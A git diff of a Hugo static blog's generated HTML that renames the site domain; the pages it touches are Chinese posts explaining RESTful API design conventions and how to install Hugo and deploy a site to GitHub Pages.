+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解RESTful设计规范","item":"https://chenjunlinabc.github.io/posts/136/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解RESTful设计规范","name":"简单了解RESTful设计规范","description":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应","keywords":["RESTful"],"articleBody":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应\n","wordCount":"25","inLanguage":"en","datePublished":"2022-02-16T21:50:00Z","dateModified":"2022-02-16T21:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/136/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解RESTful设计规范</h1><div class=post-meta><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3RESTful%e8%ae%be%e8%ae%a1%e8%a7%84%e8%8c%83.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范</p><p>资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）</p><p>表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容</p><p>状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）</p><p>RESTful设计规范的六个规范：</p><p>1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储</p><p>2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上</p><p>3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口</p><p>4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互</p><p>5.分层系统，不允许跨层访问（访问不相邻的层）</p><p>6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）</p><hr><p>api接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）</p><p>URI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）</p><p>HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）</p><p>如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用</p><p>需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等</p><hr><p>简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/restful/>RESTful</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/137/><span class=title>« Prev</span><br><span>简单使用Hugo搭建网站</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/135/><span class=title>Next »</span><br><span>Gin框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/137/index.html b/posts/137/index.html
index 2c451741..d9c2d08b 100644
--- a/posts/137/index.html
+++ b/posts/137/index.html
@@ -23,8 +23,8 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo &ndash;baseUrl=&ldquo;http://chenjunlinabc.github.io/&#34;
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/137/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Hugo搭建网站"><meta property="og:description" content="Hugo是基于Go语言开发的静态网站生成器，特点就是快
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/137/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Hugo搭建网站"><meta property="og:description" content="Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -49,7 +49,7 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo &ndash;baseUrl=&ldquo;http://chenjunlinabc.github.io/&#34;
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/137/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-22T05:19:00+00:00"><meta property="article:modified_time" content="2022-02-22T05:19:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Hugo搭建网站"><meta name=twitter:description content="Hugo是基于Go语言开发的静态网站生成器，特点就是快
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/137/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-22T05:19:00+00:00"><meta property="article:modified_time" content="2022-02-22T05:19:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Hugo搭建网站"><meta name=twitter:description content="Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -74,11 +74,11 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo &ndash;baseUrl=&ldquo;http://chenjunlinabc.github.io/&#34;
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Hugo搭建网站","item":"https://xiaochenabc123.github.io/posts/137/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Hugo搭建网站","name":"简单使用Hugo搭建网站","description":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加\u0026ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = \u0026lsquo;https://blog.xiaochenabc123.test.com\u0026rsquo; languageCode = \u0026lsquo;zh-CN\u0026rsquo; title = \u0026lsquo;小陈的博客\u0026rsquo; theme = \u0026ldquo;kagome\u0026rdquo;\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo \u0026ndash;baseUrl=\u0026ldquo;http://chenjunlinabc.github.io/\u0026quot;\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了","keywords":["golang","Hugo"],"articleBody":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加–tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = ‘https://blog.xiaochenabc123.test.com’ languageCode = ‘zh-CN’ title = ‘小陈的博客’ theme = “kagome”\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo –baseUrl=“http://chenjunlinabc.github.io/\"\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了\n","wordCount":"62","inLanguage":"en","datePublished":"2022-02-22T05:19:00Z","dateModified":"2022-02-22T05:19:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/137/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Hugo搭建网站</h1><div class=post-meta><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Hugo%e6%90%ad%e5%bb%ba%e7%bd%91%e7%ab%99.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快</p><p>安装</p><p>二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）</p><p><a href=https://github.com/gohugoio/hugo/releases>https://github.com/gohugoio/hugo/releases</a></p><p>源码安装</p><p>git clone <a href=https://github.com/gohugoio/hugo.git>https://github.com/gohugoio/hugo.git</a></p><p>cd hugo</p><p>go install</p><p>检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加&ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）</p><p>如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1</p><p>生成站点</p><p>hugo new site ./www</p><p>创建文章（默认自动生成md文件到content文件夹中，可选择目录）</p><p>hugo new post/hallo.md</p><p>如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的</p><p>安装主题</p><p>git clone <a href=https://github.com/miiiku/hugo-theme-kagome.git>https://github.com/miiiku/hugo-theme-kagome.git</a> ./themes/kagome</p><p>修改config.toml文件</p><p>baseURL = &lsquo;<a href=https://blog.xiaochenabc123.test.com>https://blog.xiaochenabc123.test.com</a>&rsquo;
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Hugo搭建网站","item":"https://chenjunlinabc.github.io/posts/137/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Hugo搭建网站","name":"简单使用Hugo搭建网站","description":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加\u0026ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = \u0026lsquo;https://blog.xiaochenabc123.test.com\u0026rsquo; languageCode = \u0026lsquo;zh-CN\u0026rsquo; title = \u0026lsquo;小陈的博客\u0026rsquo; theme = \u0026ldquo;kagome\u0026rdquo;\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo 